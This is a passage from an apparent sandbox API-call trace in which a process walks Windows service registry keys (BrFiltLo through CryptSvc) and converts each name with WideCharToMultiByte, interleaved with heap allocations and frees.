out: lpName="BrFiltLo") returned 0x0 [0223.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0223.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.770] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0223.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0223.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.770] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0223.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0223.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.770] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0223.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0223.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.771] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0223.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0223.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.771] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0223.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0223.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.771] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0223.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0223.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.772] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0223.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0223.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.772] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0223.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0223.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.772] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0223.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0223.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.772] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0223.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1850, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0223.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.773] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0223.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0223.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.773] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0223.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0223.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1850, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0223.773] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0223.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circlass", lpUsedDefaultChar=0x0) returned 8 [0223.773] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0223.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x21f1850, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clfs", lpUsedDefaultChar=0x0) returned 4 [0223.773] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0223.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0223.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x21f1a48, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_32", lpUsedDefaultChar=0x0) returned 30 [0223.774] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0223.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0223.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x21f1850, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_64", lpUsedDefaultChar=0x0) returned 30 [0223.774] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0223.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0223.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x21f1a48, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_32", lpUsedDefaultChar=0x0) returned 30 [0223.774] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0223.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0223.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x21f1850, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_64", lpUsedDefaultChar=0x0) returned 30 [0223.774] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0223.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmbatt", lpUsedDefaultChar=0x0) returned 6 [0223.774] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0223.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmdide", lpUsedDefaultChar=0x0) returned 6 [0223.774] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0223.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cng", lpUsedDefaultChar=0x0) returned 3 [0223.775] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0223.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compbatt", lpUsedDefaultChar=0x0) returned 8 [0223.775] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0223.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0223.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x21f1a48, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compositebus", lpUsedDefaultChar=0x0) returned 12 [0223.775] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0223.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x21f1850, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comsysapp", lpUsedDefaultChar=0x0) returned 9 [0223.775] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0223.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crcdisk", lpUsedDefaultChar=0x0) returned 7 [0223.775] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0223.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crypt32", lpUsedDefaultChar=0x0) returned 7 [0223.775] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0223.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, 